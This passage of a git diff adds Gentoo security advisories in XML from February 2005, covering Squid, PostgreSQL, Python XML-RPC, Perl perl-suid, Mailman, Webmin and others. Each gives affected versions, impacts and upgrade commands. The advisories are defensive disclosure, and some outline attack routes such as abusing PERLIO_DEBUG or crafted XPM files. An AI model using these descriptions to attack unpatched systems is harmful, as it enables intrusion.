+    (CAN-2005-0175).</li>
+    </ul>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could exploit:
+    </p>
+    <ul>
+    <li>the WCCP buffer overflow to cause Denial of Service.</li>
+    <li>the HTTP header parsing vulnerabilities to inject arbitrary
+    response data, potentially leading to content spoofing, web cache
+    poisoning and other cross-site scripting or HTTP response splitting
+    attacks.</li>
+    <li>the LDAP issue to login with several variations of the same login
+    name, leading to log poisoning.</li>
+    </ul>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Squid users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-proxy/squid-2.5.7-r5&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0173">CAN-2005-0173</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0174">CAN-2005-0174</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0175">CAN-2005-0175</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0211">CAN-2005-0211</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Sun, 30 Jan 2005 20:28:30 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed,  2 Feb 2005 12:30:09 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200502-05.xml b/xml/htdocs/security/en/glsa/glsa-200502-05.xml
new file mode 100644
index 00000000..354b6612
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200502-05.xml
@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200502-05">
+  <title>Newspost: Buffer overflow vulnerability</title>
+  <synopsis>
+    A buffer overflow can be exploited to crash Newspost remotely and
+    potentially execute arbitrary code.
+  </synopsis>
+  <product type="ebuild">newspost</product>
+  <announced>February 03, 2005</announced>
+  <revised>February 21, 2005: 02</revised>
+  <bug>78530</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-nntp/newspost" auto="yes" arch="*">
+      <unaffected range="rge">2.0-r1</unaffected>
+      <unaffected range="ge">2.1.1-r1</unaffected>
+      <vulnerable range="lt">2.1.1-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Newspost is a Usenet News binary autoposter.
+    </p>
+  </background>
+  <description>
+    <p>
+    Niels Heinen has discovered a buffer overflow in the socket_getline()
+    function of Newspost, which can be triggered by providing long strings
+    that do not end with a newline character.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could setup a malicious NNTP server and entice a
+    Newspost user to post to it, leading to the crash of the Newspost
+    process and potentially the execution of arbitrary code with the rights
+    of the Newspost user.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Newspost users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-nntp/newspost-2.0-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0101">CAN-2005-0101</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Wed,  2 Feb 2005 15:47:51 +0000">
+    DerCorny
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed,  2 Feb 2005 17:29:13 +0000">
+    lewk
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200502-06.xml b/xml/htdocs/security/en/glsa/glsa-200502-06.xml
new file mode 100644
index 00000000..539f32af
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200502-06.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200502-06">
+  <title>LessTif: Multiple vulnerabilities in libXpm</title>
+  <synopsis>
+    Multiple vulnerabilities have been discovered in libXpm, which is included
+    in LessTif, that can potentially lead to remote code execution.
+  </synopsis>
+  <product type="ebuild">lesstif</product>
+  <announced>February 06, 2005</announced>
+  <revised>February 06, 2005: 01</revised>
+  <bug>78483</bug>
+  <access>remote</access>
+  <affected>
+    <package name="x11-libs/lesstif" auto="yes" arch="*">
+      <unaffected range="ge">0.94.0</unaffected>
+      <vulnerable range="lt">0.94.0</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    LessTif is a clone of OSF/Motif, which is a standard user
+    interface toolkit available on Unix and Linux.
+    </p>
+  </background>
+  <description>
+    <p>
+    Multiple vulnerabilities, including buffer overflows, out of
+    bounds memory access and directory traversals, have been discovered in
+    libXpm, which is shipped as a part of the X Window System. LessTif, an
+    application that includes libXpm, suffers from the same issues.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A carefully-crafted XPM file could crash applications making use
+    of the LessTif toolkit, potentially allowing the execution of arbitrary
+    code with the privileges of the user running the application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All LessTif users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=x11-libs/lesstif-0.94.0&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0914">CAN-2004-0914</uri>
+    <uri link="http://www.lesstif.org/ReleaseNotes.html">LessTif Release Notes</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Wed,  2 Feb 2005 16:13:30 +0000">
+    DerCorny
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun,  6 Feb 2005 17:18:21 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200502-07.xml b/xml/htdocs/security/en/glsa/glsa-200502-07.xml
new file mode 100644
index 00000000..45fb9927
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200502-07.xml
@@ -0,0 +1,79 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200502-07">
+  <title>OpenMotif: Multiple vulnerabilities in libXpm</title>
+  <synopsis>
+    Multiple vulnerabilities have been discovered in libXpm, which is included
+    in OpenMotif, that can potentially lead to remote code execution.
+  </synopsis>
+  <product type="ebuild">openmotif</product>
+  <announced>February 07, 2005</announced>
+  <revised>February 25, 2005: 03</revised>
+  <bug>78111</bug>
+  <access>remote</access>
+  <affected>
+    <package name="x11-libs/openmotif" auto="yes" arch="*">
+      <unaffected range="ge">2.2.3-r1</unaffected>
+      <unaffected range="rge">2.1.30-r7</unaffected>
+      <vulnerable range="lt">2.2.3-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    OpenMotif provides a free version of the Motif toolkit for open source
+    applications.
+    </p>
+  </background>
+  <description>
+    <p>
+    Multiple vulnerabilities, such as buffer overflows, out of bounds
+    memory access or directory traversals, have been discovered in libXpm
+    that is shipped as a part of the X Window System (see GLSA 200409-34
+    and 200411-28). OpenMotif, an application that includes this library,
+    suffers from the same issues.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A carefully-crafted XPM file could crash applications making use of the
+    OpenMotif toolkit, potentially allowing the execution of arbitrary code
+    with the privileges of the user running the application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All OpenMotif users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose x11-libs/openmotif</code>
+    <p>
+    Note: You should run 'revdep-rebuild' to ensure that all applications
+    linked to OpenMotif are properly rebuilt.
+    </p>
+  </resolution>
+  <references>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0687">CAN-2004-0687</uri>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0688">CAN-2004-0688</uri>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0914">CAN-2004-0914</uri>
+    <uri link="http://www.gentoo.org/security/en/glsa/glsa-200409-34.xml">GLSA 200409-34</uri>
+    <uri link="http://www.gentoo.org/security/en/glsa/glsa-200411-28.xml">GLSA 200411-28</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed,  2 Feb 2005 18:02:43 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Wed,  2 Feb 2005 19:11:27 +0000">
+    DerCorny
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun,  6 Feb 2005 17:15:42 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200502-08.xml b/xml/htdocs/security/en/glsa/glsa-200502-08.xml
new file mode 100644
index 00000000..7f65dedb
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200502-08.xml
@@ -0,0 +1,84 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200502-08">
+  <title>PostgreSQL: Multiple vulnerabilities</title>
+  <synopsis>
+    PostgreSQL contains several vulnerabilities which could lead to execution
+    of arbitrary code, Denial of Service and security bypass.
+  </synopsis>
+  <product type="ebuild">postgresql</product>
+  <announced>February 07, 2005</announced>
+  <revised>June 26, 2007: 06</revised>
+  <bug>80342</bug>
+  <access>remote and local</access>
+  <affected>
+    <package name="dev-db/postgresql" auto="yes" arch="*">
+      <unaffected range="eq">7.3*</unaffected>
+      <unaffected range="eq">7.4*</unaffected>
+      <unaffected range="ge">8.0.1</unaffected>
+      <vulnerable range="lt">7.3.10</vulnerable>
+      <vulnerable range="lt">7.4.7</vulnerable>
+      <vulnerable range="lt">8.0.1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    PostgreSQL is a SQL compliant, open source object-relational database
+    management system.
+    </p>
+  </background>
+  <description>
+    <p>
+    PostgreSQL's contains several vulnerabilities:
+    </p>
+    <ul>
+    <li>John Heasman discovered that the LOAD extension is vulnerable to
+    local privilege escalation (CAN-2005-0227).</li>
+    <li>It is possible to bypass the EXECUTE permission check for functions
+    (CAN-2005-0244).</li>
+    <li>The PL/PgSQL parser is vulnerable to heap-based buffer overflow
+    (CAN-2005-0244).</li>
+    <li>The intagg contrib module is vulnerable to a Denial of Service
+    (CAN-2005-0246).</li>
+    </ul>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could exploit this to execute arbitrary code with the
+    privileges of the PostgreSQL server, bypass security restrictions and
+    crash the server.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no know workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All PostgreSQL users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose dev-db/postgresql</code>
+  </resolution>
+  <references>
+    <uri link="http://archives.postgresql.org/pgsql-announce/2005-02/msg00000.php">PostgreSQL Announcement</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0227">CAN-2005-0227</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0244">CAN-2005-0244</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0245">CAN-2005-0245</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0246">CAN-2005-0246</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed,  2 Feb 2005 18:15:02 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Wed,  2 Feb 2005 18:50:22 +0000">
+    DerCorny
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun,  6 Feb 2005 17:27:47 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200502-09.xml b/xml/htdocs/security/en/glsa/glsa-200502-09.xml
new file mode 100644
index 00000000..41ccfd31
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200502-09.xml
@@ -0,0 +1,74 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200502-09">
+  <title>Python: Arbitrary code execution through SimpleXMLRPCServer</title>
+  <synopsis>
+    Python-based XML-RPC servers may be vulnerable to remote execution of
+    arbitrary code.
+  </synopsis>
+  <product type="ebuild">Python</product>
+  <announced>February 08, 2005</announced>
+  <revised>February 08, 2005: 01</revised>
+  <bug>80592</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-lang/python" auto="yes" arch="*">
+      <unaffected range="ge">2.3.4-r1</unaffected>
+      <unaffected range="rge">2.3.3-r2</unaffected>
+      <unaffected range="rge">2.2.3-r6</unaffected>
+      <vulnerable range="le">2.3.4</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Python is an interpreted, interactive, object-oriented,
+    cross-platform programming language.
+    </p>
+  </background>
+  <description>
+    <p>
+    Graham Dumpleton discovered that XML-RPC servers making use of the
+    SimpleXMLRPCServer library that use the register_instance() method to
+    register an object without a _dispatch() method are vulnerable to a
+    flaw allowing to read or modify globals of the associated module.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A remote attacker may be able to exploit the flaw in such XML-RPC
+    servers to execute arbitrary code on the server host with the rights of
+    the XML-RPC server.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    Python users that don't make use of any SimpleXMLRPCServer-based
+    XML-RPC servers, or making use of servers using only the
+    register_function() method are not affected.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Python users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose dev-lang/python</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0089">CAN-2005-0089</uri>
+    <uri link="http://www.python.org/security/PSF-2005-001/">Python PSF-2005-001</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri,  4 Feb 2005 14:45:11 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon,  7 Feb 2005 08:31:41 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue,  8 Feb 2005 19:35:29 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200502-10.xml b/xml/htdocs/security/en/glsa/glsa-200502-10.xml
new file mode 100644
index 00000000..b9eca76c
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200502-10.xml
@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200502-10">
+  <title>pdftohtml: Vulnerabilities in included Xpdf</title>
+  <synopsis>
+    pdftohtml includes vulnerable Xpdf code to handle PDF files, making it
+    vulnerable to execution of arbitrary code upon converting a malicious PDF
+    file.
+  </synopsis>
+  <product type="ebuild">pdftohtml</product>
+  <announced>February 09, 2005</announced>
+  <revised>February 09, 2005: 01</revised>
+  <bug>78629</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-text/pdftohtml" auto="yes" arch="*">
+      <unaffected range="ge">0.36-r3</unaffected>
+      <vulnerable range="lt">0.36-r3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    pdftohtml is a utility to convert PDF files to HTML or XML
+    formats. It makes use of Xpdf code to decode PDF files.
+    </p>
+  </background>
+  <description>
+    <p>
+    Xpdf is vulnerable to a buffer overflow, as described in GLSA
+    200501-28.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could entice a user to convert a specially-crafted PDF
+    file, potentially resulting in the execution of arbitrary code with the
+    rights of the user running pdftohtml.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All pdftohtml users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-text/pdftohtml-0.36-r3&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.gentoo.org/security/en/glsa/glsa-200501-28.xml">GLSA 200501-28</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0064">CAN-2005-0064</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Sat,  5 Feb 2005 20:35:14 +0000">
+    vorlon078
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed,  9 Feb 2005 15:54:21 +0000">
+    vorlon078
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200502-11.xml b/xml/htdocs/security/en/glsa/glsa-200502-11.xml
new file mode 100644
index 00000000..666d5c03
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200502-11.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200502-11">
+  <title>Mailman: Directory traversal vulnerability</title>
+  <synopsis>
+    Mailman fails to properly sanitize input, leading to information
+    disclosure.
+  </synopsis>
+  <product type="ebuild">mailman</product>
+  <announced>February 10, 2005</announced>
+  <revised>February 10, 2005: 01</revised>
+  <bug>81109</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-mail/mailman" auto="yes" arch="*">
+      <unaffected range="ge">2.1.5-r4</unaffected>
+      <vulnerable range="lt">2.1.5-r4</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Mailman is a Python-based mailing list server with an extensive
+    web interface.
+    </p>
+  </background>
+  <description>
+    <p>
+    Mailman contains an error in private.py which fails to properly
+    sanitize input paths.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could exploit this flaw to obtain arbitrary files on
+    the web server.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Mailman users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-mail/mailman-2.1.5-r4&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://lists.netsys.com/pipermail/full-disclosure/2005-February/031562.html">Full Disclosure Announcement</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0202">CAN-2005-0202</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed,  9 Feb 2005 21:12:44 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Wed,  9 Feb 2005 21:59:02 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 10 Feb 2005 16:41:33 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200502-12.xml b/xml/htdocs/security/en/glsa/glsa-200502-12.xml
new file mode 100644
index 00000000..5d34ca45
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200502-12.xml
@@ -0,0 +1,75 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200502-12">
+  <title>Webmin: Information leak in Gentoo binary package</title>
+  <synopsis>
+    Portage-built Webmin binary packages accidentally include a file containing
+    the local encrypted root password.
+  </synopsis>
+  <product type="ebuild">Webmin</product>
+  <announced>February 11, 2005</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>77731</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-admin/webmin" auto="yes" arch="*">
+      <unaffected range="ge">1.170-r3</unaffected>
+      <vulnerable range="lt">1.170-r3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Webmin is a web-based system administration console allowing an
+    administrator to easily configure servers and other features. Using the
+    'buildpkg' FEATURE, or the -b/-B emerge options, Portage can build
+    reusable binary packages for any of the packages available through the
+    Portage tree.
+    </p>
+  </background>
+  <description>
+    <p>
+    Tavis Ormandy of the Gentoo Linux Security Audit Team discovered that
+    the Webmin ebuild contains a design flaw. It imports the encrypted
+    local root password into the miniserv.users file before building binary
+    packages that include this file.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could retrieve Portage-built Webmin binary packages
+    and recover the encrypted root password from the build host.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    Users who never built or shared a Webmin binary package are unaffected
+    by this.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    Webmin users should delete any old shared Webmin binary package as soon
+    as possible. They should also consider their buildhost root password
+    potentially exposed and follow proper audit procedures.
+    </p>
+    <p>
+    If you plan to build binary packages, you should upgrade to the latest
+    version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-admin/webmin-1.170-r3&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0427">CVE-2005-0427</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Thu, 10 Feb 2005 15:50:39 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 10 Feb 2005 15:50:49 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200502-13.xml b/xml/htdocs/security/en/glsa/glsa-200502-13.xml
new file mode 100644
index 00000000..de74750f
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200502-13.xml
@@ -0,0 +1,77 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200502-13">
+  <title>Perl: Vulnerabilities in perl-suid wrapper</title>
+  <synopsis>
+    Vulnerabilities leading to file overwriting and code execution with
+    elevated privileges have been discovered in the perl-suid wrapper.
+  </synopsis>
+  <product type="ebuild">Perl</product>
+  <announced>February 11, 2005</announced>
+  <revised>February 11, 2005: 01</revised>
+  <bug>80460</bug>
+  <access>local</access>
+  <affected>
+    <package name="dev-lang/perl" auto="yes" arch="*">
+      <unaffected range="ge">5.8.6-r3</unaffected>
+      <unaffected range="rge">5.8.5-r4</unaffected>
+      <unaffected range="rge">5.8.4-r3</unaffected>
+      <unaffected range="rge">5.8.2-r3</unaffected>
+      <vulnerable range="lt">5.8.6-r3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Perl is a stable, cross-platform programming language created by
+    Larry Wall. The perl-suid wrapper allows the use of setuid perl
+    scripts, i.e. user-callable Perl scripts which have elevated
+    privileges. This function is enabled only if you have the perlsuid USE
+    flag set.
+    </p>
+  </background>
+  <description>
+    <p>
+    perl-suid scripts honor the PERLIO_DEBUG environment variable and
+    write to that file with elevated privileges (CAN-2005-0155).
+    Furthermore, calling a perl-suid script with a very long path while
+    PERLIO_DEBUG is set could trigger a buffer overflow (CAN-2005-0156).
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A local attacker could set the PERLIO_DEBUG environment variable
+    and call existing perl-suid scripts, resulting in file overwriting and
+    potentially the execution of arbitrary code with root privileges.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    You are not vulnerable if you do not have the perlsuid USE flag
+    set or do not use perl-suid scripts.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Perl users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose dev-lang/perl</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0155">CAN-2005-0155</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0156">CAN-2005-0156</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri,  4 Feb 2005 14:45:58 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 11 Feb 2005 15:34:36 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Fri, 11 Feb 2005 16:11:49 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200502-14.xml b/xml/htdocs/security/en/glsa/glsa-200502-14.xml
new file mode 100644
index 00000000..284aa72c
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200502-14.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200502-14">
+  <title>mod_python: Publisher Handler vulnerability</title>
+  <synopsis>
+    mod_python contains a vulnerability in the Publisher Handler potentially
+    leading to information disclosure.
+  </synopsis>
+  <product type="ebuild">mod_python</product>
+  <announced>February 13, 2005</announced>
+  <revised>December 30, 2007: 03</revised>
+  <bug>80109</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-apache/mod_python" auto="yes" arch="*">
+      <unaffected range="ge">3.1.3-r1</unaffected>
+      <unaffected range="rge">2.7.11</unaffected>
+      <vulnerable range="lt">3.1.3-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    mod_python is an Apache module that embeds the Python interpreter
+    within the server allowing Python-based web-applications to be created.
+    </p>
+  </background>
+  <description>
+    <p>
+    Graham Dumpleton discovered a vulnerability in mod_python's Publisher
+    Handler.
+    </p>
+  </description>
+  <impact type="low">
+    <p>
+    By requesting a specially crafted URL for a published module page, an
+    attacker could obtain information about restricted variables.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All mod_python users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose www-apache/mod_python</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0088">CAN-2005-0088</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 11 Feb 2005 20:01:25 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Fri, 11 Feb 2005 20:10:55 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 11 Feb 2005 20:41:24 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200502-15.xml b/xml/htdocs/security/en/glsa/glsa-200502-15.xml
new file mode 100644
index 00000000..03eccf8c
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200502-15.xml
@@ -0,0 +1,64 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200502-15">
+  <title>PowerDNS: Denial of Service vulnerability</title>
+  <synopsis>
+    A vulnerability in PowerDNS could lead to a temporary Denial of Service.
+  </synopsis>
+  <product type="ebuild">PowerDNS</product>
+  <announced>February 13, 2005</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>80713</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-dns/pdns" auto="yes" arch="*">
+      <unaffected range="ge">2.9.17</unaffected>
+      <vulnerable range="lt">2.9.17</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The PowerDNS Nameserver is an authoritative-only nameserver which uses
+    a flexible backend architecture.
+    </p>
+  </background>
+  <description>
+    <p>
+    A vulnerability has been reported in the DNSPacket::expand method of
+    dnspacket.cc.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
